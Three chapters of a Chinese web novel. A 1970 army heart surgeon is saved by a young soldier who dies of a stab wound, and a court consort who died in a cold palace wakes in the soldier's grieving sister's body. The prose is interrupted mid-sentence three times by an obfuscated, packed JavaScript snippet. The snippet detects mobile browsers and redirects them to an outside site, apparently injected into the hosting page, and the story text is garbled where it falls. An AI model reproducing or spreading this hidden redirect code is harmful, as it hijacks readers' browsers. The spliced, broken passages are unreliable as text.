《冷宫弃妃到七零》 1. 001 1970年初春,北城,华国人民解|放|军|总医院。 “现在有哪个老师下手术了吗?”贺洪愁眉苦脸地拉住经过的同学,春寒料峭中依旧急得满头大汗,“那家人...又来了。” 夏广雷听见这话,后颈汗毛倒竖,他在心里替自家同学掬了把辛酸泪,却完全没有要主动帮忙的意思,毕竟那家人实在是太难缠了,他也怕。 “孟医生今早没手术。”夏广雷压低声音,“但让孟老师去应付他们,岂不是...”后半句淹没在两人心照不宣的沉默里。 孟冬荣是整个心外最斯文、最温和的大夫,让他去面对那家无赖,他们实在有些不忍心。 但想到那个坐在问诊室的男人,贺洪还是一咬牙,往住院部跑去,又交代同学,“广雷,你帮我去找下安保,我有点儿担心。” 夏广雷连连应声,“知道了知道了,你快去吧。” 住院部三楼的阳光格外冷清。 孟冬荣正站在晨光里俯身核对病历,一尘不染的白大褂下露出一抹独属于军装的松枝绿。他握笔的姿势像在执手术刀,腕骨微微突起,显出如玉般的质感。 贺洪却没心思如往常那般暗暗欣赏,他在男人询问的眼神里气喘吁吁地道明来意,“孟老师,章富明、章富明的爸爸又来了,在诊疗室。” 听见这个名字,孟冬荣的眉轻轻皱了一下又很快松开,他也没问为何贺洪找到了他,只将手里的病历本递给一边的护士,轻声道过谢后,回答贺洪,“好,我去看看。” 见贺洪还想跟上,他又偏头嘱咐,“你去休息室喝口水,不急。” 贺洪微愣,下意识舔了舔嘴唇,这才发现自己嘴巴都干到起皮了,应该是刚刚安抚富明家人时说了太多话的原因。 他心中感动极了,私心里又确实想躲一躲,便也真慢下了步子,“好的,谢谢老师,我等下就过来,安保我也叫了。” “考虑得很周到。”赞完这句后,孟冬荣就起身疾步往外走。 门诊那边有很多病人,他怕章明富的父亲会吓到他们,更怕情绪失常的病人家属没人监管在医院乱窜,引发什么不可挽回的灾难。 看着他离开的背影,贺洪突然想起上周查房时见过的场景。 病床上的老兵死死攥着孟冬荣的袖口,浑浊的眼里满是泪,“当年在战场,是您父亲...” 而孟冬荣只是轻轻拍着老人颤抖的背,语调温和,像是没遭遇过任何苦难为难,“我们都好着呢,您也要加油挺过来。” 想到这儿,贺洪心中更是唏嘘,他推开休息室的门,见同学莫稚雯也在,忍不住感慨,“雯雯,你运气真好,能分到孟医生手下。” 他们都是解|放|军|学院的学生,因为成绩优异而在年初被学校推荐来到军总院实习,现在分属于不同的医生。 贺洪的老师是科室的另一位主治医师苏志贤,也是章富明当时的主刀,由于章富明的亲属闹得太凶而在前两天避回了家里。 章富明这事也不是医疗事故,他在转来总院时就已经是病危状态了,其他医院根本不敢收。他们也在术前和章富明的家人再三申明过风险,对方当时还一脸诚恳的感谢。 但章富明病逝以后,这家人却变成了彻头彻尾的无赖。 先是他的母亲姑姑大闹诊疗室,逼得苏志贤不得不停诊避让。又是他的奶奶跪在医院门口哭丧,硬生生讨了双倍的安抚金。 今天来的则是他父亲,这个男人之前倒是没闹过事,今天过来也只是说想替他的女儿找医生咨询遗传性心脏病的事。 孟医生应该能够解决吧,贺洪乐观地想着,端起自己的水杯咕咚咕咚喝了个干净。 见莫稚雯没答他,他没忍住又凑到她身边,继续感慨,“孟医生人真的太好了,来医院这么久,还是第一次有人对我说‘先休息’,而不是‘怎么还没干完''。” 莫稚雯正在吃早餐,闻言立马把手上的饼放到了一边,一脸与有荣焉。 “我老师就是特别特别好啊!你都不知道,今天我自行车坏了,迟到了,孟老师不仅没怪我,还让我先吃早餐。他真是太体贴太温柔了,我终于知道为什么病人们都那么喜欢他了...” 贺洪看莫稚雯双眸发亮,有些后悔挑起这个话题了,他怎么忘了啊,就不能和他们科室的任何姑娘聊起孟医生。 孟医生虽然也和他一样是年初才来的军总院,但不过两月,已经成为了整个心内最受欢迎的人,不分男女。 他简直就是一个完美的人。 作为医生,履历完美。不仅毕业于国内最高学府,赴米留学期间还拿到了克利夫兰医学中心的进修名额,那可是整个心外领域殿堂级的存在。 而且贺洪还听说,前两年引起世界心内、心外科领域轰动的全世界第一例冠状动脉搭桥手术也有他的参与。 这已经不是年少有为能够概括得了的,准确地说,他的回归,对华国整个心外领域都是注入了一道强有力的活水。 所有人都清楚这一点,这也是为什么即使他有那样的家庭背景,即使他已经在米国待了三年有余,却还是能留在军总院原因。 但也正因如此,明明是国内数一数二的心外专家,本该受到最高的礼遇,现在却只能止于“能留下”,“受冷遇”竟也成了理所当然。 贺洪轻叹口气,也不知道上天到底是爱他还是不爱他? 若说不爱,却给了他堪称完美的一切。身高腿长、骨相极佳,偏气质温和,便也能将军装和白大褂这样有些迥异的结合穿出只属于他的味道。 更别提他原先傲人的家庭背景、令人艳羡的医学天赋,那拿的简直完全就是老天亲儿子的剧本。 可若说是爱,偏又让他从山巅跌到泥潭。 越是和他相处,贺洪越是不忿那些人对他的不公,早知道、早知道,孟医生还不如不回来... 意识到自己竟然产生了这样的想法后,贺洪吓坏了,他下意识捂住了嘴,也不敢和莫稚雯再聊下去。 正准备打声招呼去门诊那边,贺洪就听见走廊里传来了一阵躁动,而且那躁动愈来愈大,甚至能隐隐约约听见什么“杀|人了”、“好多血”、“是个医生”的话。 想起他来这里的初衷,贺洪的脸歘地一下变得雪白,他觉得自己的腿都软了,却又有一股力气支撑着他穿过凑热闹的人群,往楼下奔去。 贺洪一路上想了太多,以至于当他看见孟冬荣半跪在地上的时候,心脏差点骤停。 “孟老师!”他冲到男人身边,却被男人抬头看过来的那一眼吓得不自觉后退。 男人的下颌处还挂着血,永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281758|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远整洁的白大褂被洇得通红,明明是半跪在地上,却让人感受到了令人胆颤的威压。 这还是那个总是让人如沐春风的孟医生吗?贺洪和后赶来的莫稚雯都不敢再靠近。 孟冬荣也只是看了他们一眼,他很快垂下头,认真地看着怀里年轻战士的眼睛,语调铿锵,“青阳,我向你许诺过的,一定让你在花开时见到你妹妹,这次也请相信我。” 柳青阳闻言艰难地勾出了一个笑,他费力地想去摸上衣的口袋,那里装着他给妹妹写的信,他本来是想寄信告诉她,他下个月就会回家的。 也幸好他今天突然想寄信给妹妹了,不然这么好的孟医生、能救无数个人的孟医生就要受伤了。 发现自己抬不起来手后,柳青阳意识到了什么,他轻声回答,“孟医生,我相信你。” 听到这句话,孟冬荣的指尖微颤,他自己就是医生,怎么会不知道柳青阳的情况。 胸骨左缘第五肋间那道斜刺伤正汩汩涌血,刀刃精确穿透两个月前心脏贯穿伤的缝合处——那里本该由涤纶垫片加固的心肌组织,此刻像被撕开的棉絮般狰狞外翻。 柳青阳的身体开始抽搐,孟冬荣知道,这是心包填塞引发交感神经风暴的征兆。左心室每搏动一次,就有更多血液从破口喷射到密闭的心包囊内,像不断收紧的液压刑具挤压着那颗千疮百孔的心脏。 孟冬荣的军装袖口早被染成暗红,他徒劳地用拇指按住地上青年的锁骨下动脉,可此时此景下,所有的压迫都是笑话。 “孟医生。”柳青阳涣散的瞳孔突然聚起光,这是冠状动脉完全闭塞后引发的回光返照。 他捏住了孟冬荣的衣角,“别为我难过,孟医生。我很开心、保护了你。没有你,我早、早就死了,很多人、可能也、也活不了了,我觉得现在这样,很、很值。” 孟冬荣没有回答,他难得粗鲁地扯开护士送来的急救包,改装过的橡胶导尿管刺入心脏,可涌出来的不是淡黄积液而是浓稠血块... 这把水果刀,大概刚切过什么含酸性物质的水果。 短短半年,孟冬荣再一次被无力的绝望笼罩,上一次是为大局,这一次是为命运。 他的脊背深深地弯了下去,像是在神明前祷告的信徒,“对不起。” 柳青阳能感受到自己生机的流失,他艰难地回应,“我的死,与你无关的,孟医生,别难过。” 柳青阳的声音已经低不可闻了,但想到妹妹柳夕雾,他似乎又有了力气开口,他的声音里含着歉意。 “孟医生,又、又要麻烦你了,我、妹妹、妹妹、很乖的,拜、拜托你...” “你放心,我一定会顾好她的。”孟冬荣第一次打断别人讲话。 他不知道柳青阳有没有听见他的回答,也许听见了,他的唇边有笑意。 但孟冬荣更希望他没听见,又或者觉得这许诺太过轻飘飘,继续和他讨要更多,最好是还是不放心,决定还是得自己照顾才行… 可这一切都没有发生,青年只是带着笑看着他。他的眼中,没有以命换命的后悔、没有对死的恐惧,只有对他的信任、维护。 看着这样的一双眼,孟冬荣的呼吸越来越重,他小心翼翼地将青年抱起来放到担架上,再抬头时,眼里已蕴满了风暴,“那个人呢?” 2. 002 “咳—咳咳—”听见房内压抑却明显更加急促了的咳嗽声,落雨心急如焚,本就泛着红意的眼再一次冒出了泪。 她疾步走到屋门口,却在推门前硬生生挤出了一个笑,“小姐,您醒啦?” 落雨推开木门的刹那,寒风裹着细雪扑进屋内,威风凛凛地昭示着应天城最冷的日子即将来临。 几乎能钻进人骨缝里的寒意惊得落雨赶紧用身体挡住门缝,她的小姐已病了数月,再经不得这样的风霜。 可这注定是徒劳,细雪在进屋后融化,寒风却依旧呼啸着扑向了内室,惹得屋内又响起一阵低咳。 柳夕雾正拥着破旧的棉被靠在床头,乌发如云烟般散在杏色寝衣上,越发衬得巴掌大的小脸苍白如纸。 那双总笼着江南烟雨的眼睛此刻半阖着,睫毛在眼下投出青灰的影,仿佛水墨画里将化未化的淡墨。 她苍白的指尖正捻着沾了暗红血渍的绢帕,听见响动,不动声色地翻手藏去。 “小姐看啊,今冬头场雪呢。”落雨不敢看床上的人,她的小姐很聪明的,她不想她因为她再伤心。 她埋头拨弄炭盆,几块劣质碎炭爆出青灰的烟,火苗颤巍巍缩成黄豆大小。 柳夕雾静静望着落雨的动作,菱唇勾出一抹苦涩的弧度。这个傻姑娘啊,明明知道那些嬷嬷是作弄她,怎么还真跪着去求药呢? 她明明是个很有傲骨的姑娘的。初遇之时,宁愿受骂挨打也不肯顺着嬷嬷的意去巴结府里的少爷,这些年却为了她受尽屈辱,她又哪里舍得再拖累她? 与其都困死在这冷宫里,不如放她自由。 柳夕雾费力地仰头,透过稀薄的窗纸看向窗外的雪,她人生中的最后一场初雪。 她生来眉眼就生得极淡,像宣纸上洇开的远山轮廓,偏在眉心生着颗朱砂痣,倒似画师失手坠下的丹砂,生生将这副水墨剪影点成了活色生香。 “落雨,你过来些。”只看了几息,柳夕雾就转过了头,轻声唤她在这个世上唯一眷念的人。 落雨虽挪了过来,却依旧不敢抬眼看柳夕雾。在她的视线里,她恰好能看见柳夕雾正在试图解颈上红绳的动作。 落雨心中一惊,下意识抓住她嶙峋的手腕,“小姐!姨娘说过了,这块玉佩是保平安的,不能摘。” 柳夕雾的视线却顺势落到落雨的手背上,九年过去了,那道疤却依旧明晰。 那是八岁冬夜,管事顺着嫡母的心思克扣她的炭例,落雨独自去理论时被门栓砸出的旧伤。 她为自己吃过的苦,实在是太多了… 想到这儿,柳夕雾转了转手腕,以不容拒绝的姿态摘下了颈上的玉佩,“拿这个去寻司膳监的崔公公。” 她将玉佩塞进落雨掌心,一字一顿地说得郑重,“他年轻时受过我娘恩惠。”可以保你余生顺遂。 主仆一场,姐妹一场,这是我现在唯一能为你做的事。 炭盆爆出最后一点火星,青烟袅袅爬上柳夕雾的鬓角。 落雨突然发现,小姐眉心那颗朱砂痣不知何时淡了,像被泪水泡褪色的胭脂。 但落雨现在没心思去研究这个,她一脸兴奋地紧握住玉佩,“真好。这下应该能请来大夫了,小姐...” 话音未落,殷红血珠溅上了窗纸。 雪愈发大了起来,北风卷着雪粒子砸在武威侯府的鎏金匾额上时,湖中阁楼的缠枝牡丹暖笼正烘得满室如春。 侯府世子柳明璋新纳的扬州瘦马正在唱《折红英》,他随手扯断佳人腰间的茜色丝绦,惹得满堂浮浪笑声刚巧盖过了报信小厮的颤音。 “三姑娘殁了?”威武侯握着和田玉镇纸的手顿了顿,紫檀案上摊着吏部尚书的礼单,描金拜帖被雪光照得刺眼。 他忽然想起那庶女生母的模样。也是这般雪天,那个总爱穿月白衫子的女人跪在梅树下,双眼含泪,楚楚地求他垂怜。 可惜了啊,那庶女的模样胜过她生母百倍,没有哪个男人能不对这样的女人生出怜惜。 选秀的结果也证明了这一点,即使是“心怀大志”的新皇,也依旧给了他这个眼中钉的卑微庶女,能拿到的最高位分。 真是可惜了啊,要不是这次明璋的事太过惹了新皇大怒,他这个好女儿,不知道会带给他多大的惊喜呢... 暖阁珠帘哗啦一响,侯夫人王氏捧着缠丝珐琅手炉踱进来,鬓边赤金步摇在雪光里晃成一道冷刃。 “侯爷也知道了吧,要我说,早该如此了。自她进了冷宫,五丫头议亲都平白被压了三成聘礼。” “真是晦气。”她伸出戴着翡翠护甲的手指,嫌弃地将案上那封染着雪泥的信笺扫落炭盆,火舌倏地吞没了“敛尸银”几个字。 雪地上,落雨抱着柳夕雾已经冰凉的尸身。 “小姐说过,初雪是神仙的赠礼。”她温柔地抚去落在柳夕雾睫毛上的碎雪,“若真有神仙,那我愿意以我的今生来世求老天开眼,赐小姐来世...” 落雨忽然噤了声,怀中人眉心血痣愈来愈艳,雪花落在上面竟倏忽就融成了水滴。 而就在她的视线里,那血痣,竟消失不见了! —————— 犬吠声是从很远的地方刺进来的。 柳夕雾睁开眼睛,原本因为受冷而蜷成一团的身体立马恢复到了最端方的姿态。 这是她来到这个陌生地方的第二日,她心中最后的侥幸也在此刻彻底消失。 她好像并没有死成。 柳夕雾环顾了四周一圈,昏暗的屋子里空荡荡的,除了她身下的这道土炕,就只有一张缺了角的木几。 她确信自己从未来过这里,她甚至没有见过这样的屋子。她虽是庶女,却也自小养得金贵,除了嫡母的故意刁难,她这辈子过得最苦的时候也就是在冷宫的那两月了。 柳夕雾垂头看向自己,她甚至陌生于这个身体。不仅服饰样式奇怪,她也没有这般粗糙的皮肤,更何况掌心的茧、指关的冻疮,这都不该属于她。 柳夕雾再一次看向了枕边的那些信件以及旁边放置着的粗麻绳。 这一次,她伸手将信件拿了起来,含着歉意。 她并不想窥探别人的隐秘,不在意自己现在的处境,也不好奇到底发生了什么。 但若,若这真是别人的身体,她便不能私自决定结束这条性命。 信只有三封,最上面那封字迹已经模糊,边角也磨得起了毛边。 她好像看得懂这陌生的字体。柳夕雾的指尖微顿,将信纸取了出来。 “夕雾,这是哥这个月的津贴...”第一封信的钢笔字洇着水痕,字迹在“受了委屈就给哥写信”处加重。 柳夕雾的视线在开头的“夕雾”处停了很久很久,这个身体的主人,她也叫夕雾吗? 第二封只剩半张残页,像是被火舌吞噬过,“别省钱,想吃什么就买,哥在部队能吃上白面...” “津贴、部队...”,柳夕雾眉心微蹙,悟出这约莫是军饷与兵营之意。她又看了眼信封,发现这个地名也是她完全陌生的。 看到这儿,她再一次确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“可不可以拜托你,为了未来那些可以被他挽救的生命,再忍耐一段时间。” 柳夕雾有些为难,但想到娘亲、想到落雨,她点了点头。 佛说积善成德,她自当顺应天道。她不求自己的来世,只愿这功德能渡到她的娘亲和落雨的身上。 随着她颔首,她眼前的一切又开始消失了。 柳夕雾最后看了一眼那对兄妹,笑着对他们挥了挥手。这是学的那对兄妹的手势,大概是这个世界的送客礼。 而等她消失后,那对兄妹却迟迟没有离开。 少女还在抽泣,“哥哥,为什么不告诉姐姐,她的娘亲就是我们的娘。” 柳青阳将妹妹脸上的泪拭去,轻声回答,“娘这辈子也过得太苦,告诉姐姐,只会让她伤心,还不如就让她以为这是一个意外。” 见妹妹哭得更凶,他不得不无奈地转移话题,“走了,娘和爹还在等我们呢。咱们早点去,娘也少受点生育的苦。” 少女连连点头,拉着他快步往光的方向奔去,“对对对,我们快去,不然爹又要被吓哭了。” 她回头望了一眼,还是想问,“哥哥,刚刚那人说我们这辈子会和爹娘一起生活在一个最好的时代,那姐姐呢?我们什么时候才可以和姐姐团聚?” 柳青阳闻言,也回头看了一眼柳夕雾消失的地方,心里有点发酸。他没有告诉妹妹,这唯一的一面就是他们的最后一面了。 这是他和娘用两世的功德换来的机遇,世间万物皆有秩,这已经是最好最好的结果。 3. 003 既答应了那对兄妹,柳夕雾便就不会再如前日那样置身事外。 她将三封信合好,想寻个妥帖的地方安置。不提这对兄妹给了她新生,只单凭那位兄长保家卫国、舍己为人的品性,柳夕雾也觉得他的遗物该被珍藏。 但等沿着屋内走了一圈后,柳夕雾还是回到了炕边,轻叹口气,将信压到枕下。 这好像并不是一个好做的差事。柳夕雾抿了抿唇,整理已有的信息。 首先,这里是一个她完全陌生的朝代,她不仅没有人可以求助,还要守护好她与那对兄妹的秘密。 这两天她每天都能听见一道男声,里面提到的词她全然不懂,也不明白为何一个人的声音能大到那般地步。但借着这道男声,她也大致知道了自己是在一个叫“红岩”的地方,这里的人都以种地为生,每天都要一起劳动... 也许可以出去看看?柳夕雾还记得信里有提到“读书”、“自己买”这样的词汇,那是不是意味着在这个世界,女子是可以单独出门的? 想到这儿,柳夕雾的心头生出一点细微的欢喜,不是为自己,而是为这个世界所有的女子。 在他们那里,只有世家的女子可以读书,但女子即使入学,学的也和男子是不同的。她们也不被允许独自出门,但凡出去必须要有男性亲属的陪伴... 只这一点,这里就胜过许多。 但即使这个世界很好,柳夕雾也并不打算在这里生活很久。对她来说,没有娘亲、没有落雨,也就没有什么值得眷恋的。 柳夕雾已经想好了。 那位男子的请求是让她继续当他的妹妹,好让他救下的那位大夫不要因为他的死产生愧疚,因而耽误了行医。 那她只要等那位大夫来看她,告诉对方“他救命恩人的妹妹”不怪他、也为兄长的行为自豪,再等对方没那么关注她以后,寻个机会以病逝或者意外这样的方式结束性命就好。 也不过就是一两年的事。想清楚这个,柳夕雾再看这个屋子也不觉得头痛了。再破败,也不过是个暂居之所罢了。 刚这样想,两日未进食过的胃就提出了抗议,柳夕雾轻叹口气,再一次感到了棘手,她没下过厨啊,且这屋子里也没有任何吃食。 而等看清屋外的景象后,柳夕雾的眉头蹙得更紧了。 院里杂草丛生,最密的地方甚至生到了腰间,而她所在的这间开裂的土屋,甚至已经是这个院子里最好的一处了。 在这样的环境里,别说是她,就算是原先那个姑娘,生存也成困难。 正想着,院门外就传来了一道越来越近的尖锐女声,“也不知道那个死丫头还活着吗,都是什么狗屁规定,你这个青阳的亲小叔难道还比不上个小丫头片子?” 男声里透着淡漠,“好了,不就是个丫头。养几天也没什么,处理完青阳的后事找个人嫁了就行。” “我那不是怕她死我们家里吗?你又不是不知道她多在乎她哥。走的时候啥也不拿,就拿了一截麻绳,明显就是要寻死...” 女声戛然而止,柳夕雾站在房门口,隔着满院的杂草静静地看着院门口的中年夫妻。 “你个死丫头,想吓死我呀!”中年女人似乎很不忿自己刚刚被镇住,翻了个大大的白眼,“还没死正好,走吧,去新房那边。” 柳夕雾没有回答,她依旧沉默地看着那对夫妻。 她已经从刚刚那段对话里猜出了对方的身份,也大致推出了那位姑娘身上发生过的事。 经历过侯府所谓亲人,柳夕雾其实并没有对亲情抱有什么幻想,但一想到那男子驻守边疆,他唯一牵挂的妹妹却被另一对亲人这样欺压,柳夕雾就觉得这件事决不能这样了了。 她本就站得高些,从小养成的仪态又让她几乎时刻都腰背挺直,此刻这样半垂着眸看人,竟自带了一些让人心悸的气势。 她这样太不像“柳夕雾”了。柳夕雾很快就意识到了这一点,她知道自己很难时时刻刻克制几乎已经养成了本能的仪态,便故意做出因兄长逝世而性格大变的样子。 她几不可查地抿了抿唇,再开口时声音更冷了几分,“不用你们管我。” 见她这样,中年妇女吴芳反而松了口气,她拉了拉还新的棉衣,轻哼,“最后问你一次,走不走?你可以继续呆在这里,但以后可别想进松山一步。” 柳夕雾眉眼微动,她并不知道松山是何处,但看她所谓的二叔二婶一副认准了她会因此退让的姿态,猜到这一定是对“柳夕雾”非常重要的地方,便也顺着演了下去。 她侧过身,抬手拭去眼角的泪,似乎是不想被对方看到自己的软弱。 一个小丫头片子,还想和她斗?吴梅轻嗤一声,更加不耐地催促,“走不走?” “我不走。”柳夕雾轻迈一步,让光模糊了她的神情,“我要守着我和哥哥的家,而且我还要你们每天送吃食过来。” 她说得很慢很慢,全神贯注地看着对面夫妻的表情,见妇人似乎要暴怒,她抢先开口,“不用很久,等哥哥回来了,我会和他一起走。” 听见这话,吴芳本来已高高挑起的眉又放了下去,她和身边一直没开口的男人对视一眼,嘟囔着答应,“行吧,真是个麻烦精,说不定青阳就是被你这个拖油瓶拖死的,你爹你娘也是被你克...” “要破除一切旧思想、旧文化、旧风俗、旧习惯。”柳夕雾学着每天都会响起的那道男声的腔调,清凌凌地打断了吴芳的话。 这句话差点把吴芳砸晕,她惊慌地回头,见周围没人才松了口气,本想破口大骂,却因着害怕失了底气,说出来的话软绵绵的,“你吓唬谁呢...” 看妇人这样,柳夕雾轻轻弯了弯唇,若有所思。所以每天都会准时宣读的那些话,果然是这里类似于律法的东西吗? “好了。”中年男人终于说了进院子以后的第一句话,他轻飘飘地看了柳夕雾一眼,那是打心底里不把对方看在眼里的轻蔑。 “这几日的饭,我会让苗苗给你送来,你自己答应了什么要记得。”最后半句说得低而重,带着隐隐的威胁。 柳夕雾没再回答,看着那两人扬长而去。 隔了好远还能听见那道尖锐女声,“这样也好,还是死了干净。” 柳夕雾垂眸,抚了抚掌中的老茧,这是一个饱受压迫的小女孩的泪痕。 “放心,我一定不会让他们用你兄长一分钱。” —————— “冬荣。”盛逸骏的视线扫过孟冬荣怀里蒙着布的黑木盒,沉默了几秒后才问,“离北城远吗?” 孟冬荣轻轻摇了摇头,开口时嗓音已经哑到有些含糊,“就在冀省,今天走,明晚就能到。” “好。”盛逸骏从怀里拿出钱包,抽了几张递给孟冬荣,“听说只有个同胞妹妹了,这是我的一点心意,麻烦你帮我带过去。” 既是给柳青阳妹妹的,孟冬荣便也不拒绝。作为同时期公派留学的同学,他很清楚盛逸骏的性子,便只是答,“我会替你转达。” “好,谢谢。”盛逸骏犹豫了一瞬,还是抬手拍了拍孟冬荣的肩,“别太为难自己。” 自从那事出了以后,孟冬荣就像变了一个人,原先从未和人起过冲突的人几乎把几个单位的门槛都踩低、桌子都拍烂了。 外人都觉得他小题大做,但同为医生,同为一个阶层长大的大院小孩儿,盛逸骏很懂他,也很懂那个小战士对孟冬荣的意义。 那不仅是以命护他的恩人,更是那个时期第一个越过所谓成分、认可他、新任他的病患。 这样赤忱、勇敢的青年,值得按最重的罪罚惩治凶手,按最高的标准替抚恤家人,也值得他们亲自送他回家。 盛逸骏没和任何人提自己在这件事里都做了什么,只是站在原地,一直等到孟冬荣的背影淡出视野,才迈步回到院里。 转身的时候,盛逸骏想到孟冬荣拿着那封家书红着眼垂着头的样子,轻轻叹了口气。 但愿,这一次,他的这位同学、同事、朋友能稍微幸运一点儿吧。 孟冬荣其实很清楚自己会面对什么,他也许会被那个小姑娘视为仇人,毕竟他都听说了,那姑娘知道消息后连着哭晕了好几次。 他已经做好了准备,承接来自她的所有情绪,毕竟从某个角度来说,确实是他夺走了她相依为命的哥哥,她无论怎么对他,都是他该受着的。 他也计划好了一切,他会为她安排好一切,用他的所有,保她一辈子衣食无忧。 柳青阳想给他妹妹的,他都会替他达成。 但事情并没有按照孟冬荣设想的发生。 他到达平县的时候已经是晚上八点多了,北方仲春的夜晚寒意依旧很重,他本该在平县休息一晚再由县里的负责人陪着一起去柳青阳家。 但想到之前柳青阳提起妹妹时偶尔皱起的眉、蕴着担忧的眼和珍爱的语气,孟冬荣还是找到了车站的值班人员。 “请问这里距离红岩公社大概有多远?”他费力地弯着腰,试图让自己的声音更清晰地从开的小窗口传进值班室。 值班的车站人员本在打瞌睡呢,被这道粗粝的声音惊醒,心头一下就冒起了火。 他极其不耐烦地回头,透过有些花的玻璃看见了说话的男人,他紧急收回了即将脱口的抱怨,礼貌地回答,“大概有十二三公里。” 只看这男人的穿着和气度,就知道对方不会是他们这个小而贫困的县里的人,还是客气点好。 见男人抬头看时刻表,值班的售票员赶紧补充,“我们县里没有去公社的车,只有往返市里的车。” 怕对方看不起他们这个小县城,售票员有些窘迫地补充,“公社的人更愿意自己走路,就算开了路线也没人愿意坐的。” 孟冬荣确实没有想到会这样,但他很快从售票员嘴里得知了另一个重要信息,“好的,那步行过去大概需要多久?” “正常走是三小时,但现在天黑了,你又没走过山路,估计到都一两点了。”他好心地提醒,“你可以去旁边招待所住一晚,明天中午估计会有拖拉机去公社,你可以坐那个。” “谢谢,但我有急事,还是走过去吧。”孟冬荣弯了弯唇,“可以麻烦您告诉我一下大致的路线吗?” 售票员被他的笑晃了神,这是他有生以来见过最有气质的男人,怎么说呢,一看就是生长在最金贵土地上的松柏... 他猛地回神,赶紧回答,“您不用客气。出城就只有一条大路,沿着往下走就好,路的右手边会有牌子,上面写着公社名字,红岩应该在第三个。” “谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281760|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢。”孟冬荣听得认真,又将手上提着的苹果分了一袋放到窗口,“打扰您休息了。” “不用不用。”售票员把苹果往回退,孟冬荣却已经转身离开了,他到底还是舍不得,便也就收了下来。 孟冬荣按售票员指的路很快就出了城,他其实也走过山路,在归国后去父母在的兵团看望他们的时候。 那天的夜甚至还没有这样大而圆的月亮,他深一脚浅一脚地踩在没有月光的土路上,两个小时的路摔了好多次。 也许是因为有了经验,也许是因为今晚的月光太明亮,孟冬荣用了两个半小时就走到了红岩公社的路牌旁。 但看着身侧那片高低不一的房子,孟冬荣无奈地抚了抚额,他真是晕了头了。 哪怕是在城市,这个点,大家也都睡了,更何况这里?难道要他把青阳的家人都惊醒吗?而且他也分不清哪一家是柳家。 孟冬荣环视了一圈,见不远处的柳树旁摆着几个大石块儿,心里松了口气,幸好他带了厚衣服,不然在这里站一夜,他可能会反而耽误了明天的正事。 他最后是被人叫醒的,来人是一个年轻小伙,他紧皱着眉,眼里还有淡淡的戒备,“你是谁?为什么坐在我们公社路口?” 孟冬荣稍稍侧开了点脸,从上衣口袋拿出介绍信,注视着对方的眼睛回答,“我叫孟冬荣,北城人,这是我的介绍信,来这儿是为了送柳青阳回家。” 在对方扬声唤人之前,孟冬荣先按住了对方的小臂,“抱歉,我还有点事想要先问你,我之后会去你们公社那里的。” 小伙子这才注意到他怀里的黑木盒,猜到是什么后,眼眶泛红,“我就知道,青阳哥一定不会不管夕雾的。” “我是青阳哥的旧邻居刚子。”他甚至迫不及待地反手抓住了孟冬荣的手,“我知道你,他们说青阳哥救的是北城的医生,那你可不可以帮帮夕雾,没人帮她的话,她一定会被她二婶二叔逼死的...” “你说。”孟冬荣的声音低低的,语调平缓却含着重量,一下抚慰了刚子的心,“我都会解决的。” 刚子的眼睛更红了,“我也是前几天才知道,那对无赖把夕雾赶到老屋子去了,他们还骗我们说夕雾太伤心了,天天躲在家里哭。那老房子又破又偏,要不是那天他们小儿子说漏嘴,也许夕雾死了我们都不知道!” 孟冬荣的心被那个“死”字惊得重重一跳,他收紧了抱着盒子的臂,语速有些快,“那青阳妹妹现在在哪里?” 说到这儿,刚子更着急了,“还在老房子里,我们好多人都去找过她了,但她不肯出来,只隔着门说她很好,让我们别担心。” “怎么可能不担心!我奶都急哭了好几次,可是夕雾就是不肯出来。”刚子抹了把泪,不自觉把心里话说了出来,“青阳哥真是的,明知道夕雾离了他是会死一次的,还救人做...” 意识到对面的人就是被青阳救下的人,刚子有些懊恼地抿了抿唇。 “可以麻烦你带我去看看她吗?”孟冬荣安抚地看着刚子,没再提刚刚的话。 刚子本就不是个善语的人,也不知道该怎么解释自己刚刚的话并没有恶意,挠了挠头,干脆主动提起孟冬荣放在地上的包,迈步往一条小道跑去,“这边!” 等到了地方,刚子转过头,本想再和这个从北城来的人再抱怨几句柳夕雾的婶娘一家,但等触及到对方的眼神后,他忽然噤了声。 “我先走了,我还得去搬工具呢。”刚子又小心翼翼地看了孟冬荣一眼,这下是一点儿也不担心柳夕雾会出事了。 这个男人看起来好生气!也好可靠!有他在,那对无赖肯定讨不到好! 这样想着,他轻快地跑着离开了柳家老院,心里喜滋滋的。 孟冬荣此刻却无比沉重,他看着面前低矮的、仿佛一推就倒的石碓院墙,看着满院的杂草,看着那间布着裂痕的土屋,几乎喘不过气来。 他难以想象一个十九岁的姑娘,是如何在这里生存的?她还刚失去了相依为命的哥哥,极有可能像那个青年所说的那样... 孟冬荣不敢再想下去,他礼貌地停在围墙外,等待不远处的屋子传出响动。 可一直到了日头高挂,那土屋还是一点儿声响都没有,孟冬荣已经维持不了平静了,他几次都已经触到了那道竹编院门,却还是停住了。 但想到刚子的话,孟冬荣心中的不安越发重。终于,在腕间时针指向十的时候,他径直推开了院门。 